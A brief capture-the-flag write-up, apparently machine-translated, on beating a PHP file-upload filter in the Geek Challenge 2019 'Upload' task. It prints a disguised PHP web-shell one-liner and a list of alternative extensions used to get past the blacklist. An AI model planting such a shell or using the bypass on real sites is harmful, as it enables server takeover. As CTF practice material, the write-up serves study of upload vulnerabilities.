当前位置：网站首页>Geek challenge 2019 upload 1

Geek challenge 2019 upload 1

2022-04-21 09:07:00 【xinjuun】

Or the problem of file upload , Upload a sentence written by the Trojan horse and change the suffix to jpg Get the papers , You will be prompted that the file contains `<? I can't pass it on , So change the Trojan horse to ：

GIF89a? <script language="php">eval($_REQUEST[123])</script>

open burp, Modify file suffix by capturing package ,
Find out php Can't upload ,
The general file suffix is ：
php2, php3, php4, php5, phps, pht, phtm, phtml
Modify the suffix here as ：phtml It can be uploaded normally
Insert picture description here

But the image saving address is not returned after uploading , Generally, uploaded pictures are saved in upload, So here, too , Connect successfully with ant sword , find flag file

版权声明
本文为[xinjuun]所创，转载请带上原文链接，感谢
https://yzsam.com/2022/04/202204210901289558.html

边栏推荐

猜你喜欢

随机推荐